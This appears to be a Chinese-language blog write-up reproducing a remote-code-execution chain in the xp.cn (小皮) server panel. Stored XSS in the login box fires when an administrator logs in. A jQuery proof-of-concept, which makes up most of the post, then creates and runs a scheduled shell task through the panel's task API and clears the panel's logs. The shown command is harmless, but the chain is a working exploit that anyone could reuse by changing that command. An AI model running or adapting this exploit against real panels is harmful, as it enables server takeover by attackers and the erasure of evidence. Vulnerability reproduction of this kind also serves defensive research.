小皮面板RCE复现


小皮面板

登录框插入xss代码

image-20230204121851255

模拟管理员登陆成功,xss代码被执行

image-20230204121517673

然后,构造本地js POC文件

function test1() {
    $.get('/service/app/tasks.php?type=task_list',{},function(data) {
            var id = data.data[0].ID;
            $. post('/service/app/tasks.php?type-exec_task',{
                    tid:id
            },function(res){
                    $.post('/service/app/tasks.php?type=set_task_status', {
                            task_id: id,
                            status: 0
                    },function (res1){
                            $.post('/service/app/tasks.php?type=set_task_status',{
                                    task_id: id,
                                    status: 0
                            },function (res2){
                                    $.post("/service/app/log.php?type=clearlog",{
                                            type:"clearlog"
                                    },function(res3) {},"json");
                            },"json");
                    },"json");
            },"json");
    },"json");
}

function save() {
    var data = new Object(); 
    data.task_id =
    data.title ="test"
    data.exec_cycle ="5";
    data.week ="1" ;
    data.hour="1";
    data.minute="1"
    data.shell="echo 1 > D:/xp.cn/www/1.txt" ;
    $.post('/service/app/tasks.php?type=save_shell',data, function (res) {
    test1();
    },'json');
}
    save();

POC文件随便丢一个web容器,写入XSS

image-20230204124901744

然后等待管理员正常登录会加载远程POC文件创建计划任务

image-20230204130122740

等待一分钟,命令执行成功

image-20230204131129700

Comments

No comments yet. Why don’t you start the discussion?

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注